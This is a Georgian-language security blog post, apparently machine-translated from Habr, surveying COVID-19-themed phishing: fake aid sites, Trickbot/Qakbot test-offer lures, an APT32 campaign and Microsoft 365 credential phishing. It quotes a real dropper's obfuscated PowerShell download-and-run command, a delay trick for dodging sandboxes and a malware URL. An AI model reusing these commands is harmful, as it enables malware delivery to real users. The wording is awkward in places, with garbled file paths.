კორონავირუსის კიბერშეტევები: მთელი საქმე სოციალურ ინჟინერიაშია

თავდამსხმელები აგრძელებენ COVID-19 თემის გამოყენებას, რაც უფრო და უფრო მეტ საფრთხეს უქმნის მომხმარებლებს, რომლებიც დაინტერესებულნი არიან ეპიდემიასთან დაკავშირებული ყველაფრის მიმართ. IN ბოლო პოსტი ჩვენ უკვე ვისაუბრეთ იმაზე, თუ რა ტიპის მავნე პროგრამა გამოჩნდა კოროვირუსის ფონზე, დღეს კი ვისაუბრებთ სოციალური ინჟინერიის ტექნიკაზე, რომელსაც მომხმარებლები სხვადასხვა ქვეყანაში, მათ შორის რუსეთში, უკვე შეხვდნენ. ზოგადი ტენდენციები და მაგალითები შემცირებულია.

დაიმახსოვრე შიგნით ბოლოჯერ ჩვენ ვისაუბრეთ იმაზე, რომ ადამიანებს სურთ წაიკითხონ არა მხოლოდ კორონავირუსისა და ეპიდემიის მიმდინარეობის შესახებ, არამედ ფინანსური მხარდაჭერის ღონისძიებების შესახებაც? აი კარგი მაგალითი. საინტერესო ფიშინგური თავდასხმა აღმოაჩინეს გერმანიის შტატ ჩრდილოეთ რაინ-ვესტფალიაში ან NRW-ში. თავდამსხმელებმა შექმნეს ეკონომიკის სამინისტროს ვებგვერდის ასლები (NRW ეკონომიკის სამინისტრო), სადაც ნებისმიერ მსურველს შეუძლია მიმართოს ფინანსურ დახმარებას. ასეთი პროგრამა რეალურად არსებობს და ის მომგებიანი აღმოჩნდა თაღლითებისთვის. დაზარალებულების პერსონალური მონაცემების მიღების შემდეგ მათ განცხადება გააკეთეს სამინისტროს რეალური ვებ-გვერდზე, მაგრამ მიუთითეს სხვა საბანკო რეკვიზიტები. ოფიციალური მონაცემებით, სქემის აღმოჩენამდე 4 ათასი ასეთი ყალბი მოთხოვნა იყო გაკეთებული. შედეგად დაზარალებული მოქალაქეებისთვის განკუთვნილი 109 მილიონი დოლარი თაღლითების ხელში მოხვდა.

გსურთ უფასო ტესტირება COVID-19-ზე?

კორონავირუსის თემაზე ფიშინგის კიდევ ერთი მნიშვნელოვანი მაგალითი იყო აღმოაჩინა წერილებში. შეტყობინებებმა მომხმარებლების ყურადღება მიიპყრო შეთავაზებით, რომ გაიარონ უფასო ტესტირება კორონავირუსის ინფექციაზე. ამ დანართში ასოები იყო Trickbot/Qakbot/Qbot-ის შემთხვევები. და როდესაც ჯანმრთელობის შემოწმების მსურველებმა დაიწყეს "თანდართული ფორმის შევსება", მავნე სკრიპტი გადმოწერილი იქნა კომპიუტერში. და იმისათვის, რომ თავიდან ავიცილოთ sandboxing ტესტირება, სკრიპტმა დაიწყო მთავარი ვირუსის ჩამოტვირთვა მხოლოდ გარკვეული პერიოდის შემდეგ, როდესაც დაცვის სისტემები დარწმუნდნენ, რომ რაიმე მავნე მოქმედება არ მოხდებოდა.

ასევე მარტივი იყო მომხმარებლების უმეტესობის დარწმუნება მაკროების ჩართვისთვის. ამისათვის გამოიყენეს სტანდარტული ხრიკი: კითხვარის შესავსებად, ჯერ უნდა ჩართოთ მაკროები, რაც ნიშნავს, რომ თქვენ უნდა გაუშვათ VBA სკრიპტი.

როგორც ხედავთ, VBA სკრიპტი სპეციალურად არის ნიღბიანი ანტივირუსებისგან.

Windows-ს აქვს ლოდინის ფუნქცია, სადაც აპლიკაცია ელოდება /T <წამი> ნაგულისხმევი „დიახ“ პასუხის მიღებამდე. ჩვენს შემთხვევაში, სკრიპტი დაელოდა 65 წამს დროებითი ფაილების წაშლამდე:

cmd.exe /C choice /C Y /N /D Y /T 65 & Del C:UsersPublictmpdirtmps1.bat & del C:UsersPublic1.txt

და ლოდინის დროს, მავნე პროგრამა ჩამოიტვირთა. ამისათვის შეიქმნა სპეციალური PowerShell სკრიპტი:

cmd /C powershell -Command ""(New-Object Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]: :FromBase64String('aHR0cDovL2F1dG9tYXRpc2NoZXItc3RhdWJzYXVnZXIuY29tL2ZlYXR1cmUvNzc3Nzc3LnBuZw==')), [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcUHVibGljXHRtcGRpclxmaWxl')) + '1' + '.e' + 'x' + 'e') >C:UsersPublic1.txt

Base64 მნიშვნელობის გაშიფვრის შემდეგ, PowerShell სკრიპტი ჩამოტვირთავს გერმანიიდან ადრე გატეხილ ვებ სერვერზე მდებარე უკანა კარს:

http://automatischer-staubsauger.com/feature/777777.png

და ინახავს მას სახელით:

C:UsersPublictmpdirfile1.exe

საქაღალდე ‘C:UsersPublictmpdir’ წაიშლება 'tmps1.bat' ფაილის გაშვებისას, რომელიც შეიცავს ბრძანებას cmd /c mkdir ""C:UsersPublictmpdir"".

მიზანმიმართული თავდასხმა სამთავრობო უწყებებზე

გარდა ამისა, FireEye-ის ანალიტიკოსებმა ახლახანს განაცხადეს მიზანმიმართული APT32 თავდასხმის შესახებ, რომელიც მიმართული იყო ვუჰანის სამთავრობო სტრუქტურებზე, ისევე როგორც ჩინეთის საგანგებო სიტუაციების მართვის სამინისტროზე. ერთ-ერთ გავრცელებულ RTF-ს მოიცავდა ბმულს New York Times-ის სტატიის სათაურით კორონავირუსის პირდაპირი განახლებები: ჩინეთი თვალს ადევნებს მოგზაურებს ჰუბეიდან. თუმცა, მისი წაკითხვის შემდეგ, მავნე პროგრამა ჩამოიტვირთა (FireEye ანალიტიკოსებმა დაადგინეს ეს მაგალითი, როგორც METALJACK).

საინტერესოა, რომ გამოვლენის დროს არცერთმა ანტივირუსმა არ აღმოაჩინა ეს შემთხვევა, Virustotal-ის მიხედვით.

როდესაც ოფიციალური საიტები გათიშულია

ფიშინგის თავდასხმის ყველაზე ნათელი მაგალითი რუსეთში სულ რაღაც მეორე დღეს მოხდა. ამის მიზეზი 3-დან 16 წლამდე ასაკის ბავშვებისთვის დიდი ხნის ნანატრი შემწეობის დანიშვნა გახდა. როდესაც განაცხადების მიღების დაწყება გამოცხადდა 12 წლის 2020 მაისს, მილიონობით ადამიანი მივიდა სახელმწიფო სერვისების ვებსაიტზე დიდი ხნის ნანატრი დახმარებისთვის და პორტალი ჩამოშალა პროფესიონალური DDoS შეტევაზე უარესი. როდესაც პრეზიდენტმა თქვა, რომ „სახელმწიფო სამსახურები ვერ უმკლავდებიან აპლიკაციების ნაკადს“, ხალხმა დაიწყო ონლაინ საუბარი განაცხადების მიღების ალტერნატიული საიტის გაშვებაზე.

პრობლემა ის არის, რომ რამდენიმე საიტმა ერთდროულად დაიწყო მუშაობა, ხოლო ერთი, რეალური posobie16.gosuslugi.ru-ზე, რეალურად იღებს აპლიკაციებს, სხვა ათეულობით ადამიანი აგროვებს გულმოდგინე მომხმარებლების პერსონალურ მონაცემებს.

SearchInform-ის კოლეგებმა აღმოაჩინეს 30-მდე ახალი თაღლითური დომენი .ru ზონაში. Infosecurity და Softline Company აპრილის დასაწყისიდან 70-ზე მეტ მსგავს ყალბ სამთავრობო სერვისის ვებსაიტს ადევნებდნენ თვალყურს. მათი შემქმნელები მანიპულირებენ ნაცნობ სიმბოლოებით და ასევე იყენებენ სიტყვების gosuslugi, gosuslugi-16, vyplaty, covid-vyplaty, posobie და ა.შ.

Hype და სოციალური ინჟინერია

ყველა ეს მაგალითი მხოლოდ ადასტურებს, რომ თავდამსხმელები წარმატებით ახდენენ მონეტიზაციას კორონავირუსის თემაზე. რაც უფრო მაღალია სოციალური დაძაბულობა და უფრო გაურკვეველი საკითხები, მით მეტი შანსი აქვთ თაღლითებს მოიპარონ მნიშვნელოვანი მონაცემები, აიძულონ ადამიანები დამოუკიდებლად დატოვონ ფული ან უბრალოდ გატეხონ მეტი კომპიუტერი.

და იმის გათვალისწინებით, რომ პანდემიამ აიძულა პოტენციურად მოუმზადებელი ხალხი სახლიდან მასობრივად ემუშავათ, რისკის ქვეშ არის არა მხოლოდ პირადი, არამედ კორპორატიული მონაცემები. მაგალითად, ცოტა ხნის წინ Microsoft 365 (ყოფილი Office 365) მომხმარებლები ასევე დაექვემდებარა ფიშინგს. ადამიანები მიიღეს მასიური „გამოტოვებული“ ხმოვანი შეტყობინებები, როგორც წერილების მიმაგრება. თუმცა, ფაილები რეალურად იყო HTML გვერდი, რომელიც გზავნიდა თავდასხმის მსხვერპლებს ყალბი Microsoft 365 შესვლის გვერდი. შედეგად, წვდომის დაკარგვა და ანგარიშიდან ყველა მონაცემის კომპრომისი.

წყარო: www.habr.com